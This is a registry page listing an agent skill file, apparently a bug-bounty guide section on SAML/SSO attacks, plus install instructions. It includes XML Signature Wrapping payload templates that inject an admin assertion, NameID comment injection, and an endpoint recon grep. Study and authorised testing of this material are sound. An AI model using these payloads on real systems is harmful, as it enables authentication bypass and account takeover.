Hunt SAML / SSO attacks. Patterns: XML Signature Wrapping (XSW1-XSW8) — modify Assertion while keeping Signature valid by relocating signed element, comment injection in NameID (admin@target.com<!--evil-->@attacker.com → some parsers see admin@target.com), signature stripping (remove Signature element entirely, server should reject but doesn't), key confusion (signed by attacker's IdP, accepted by SP), audience-restriction not validated, replay attack…
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
## 20. SAML / SSO ATTACKS
> SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.
### Attack Surface
```bash
# Find SAML endpoints
cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
# Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback
```
### Attack 1: XML Signature Wrapping (XSW)
```xml
<!-- BEFORE: valid assertion by user@company.com -->
<saml:Response>
<saml:Assertion ID="legit">
<NameID>user@company.com</NameID>
<ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
</saml:Assertion>
</saml:Response>
<!-- AFTER: inject evil assertion. Signature still validates (covers #legit).
App processes the FIRST assertion found = evil. -->
<saml:Response>
<saml:Assertion ID="evil">
<NameID>admin@company.com</NameID> <!-- Attacker-controlled -->
</saml:Assertion>
<saml:Assertion ID="legit">
<NameID>user@company.com</NameID>
<ds:Signature><!-- Valid --></ds:Signature>
</saml:Assertion>
</saml:Response>
```
### Attack 2: Comment Injection in NameID
```xml
<!-- XML strips comments before passing to app -->
<NameID>admin<!---->@company.com</NameID>

How to install
mdr add adriannoes/awesome-agentic-ai/hunt-saml@sha256:93a92589e9b7a5e5The line at the top of this page pins the label git:20260611.ff4cc7c, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
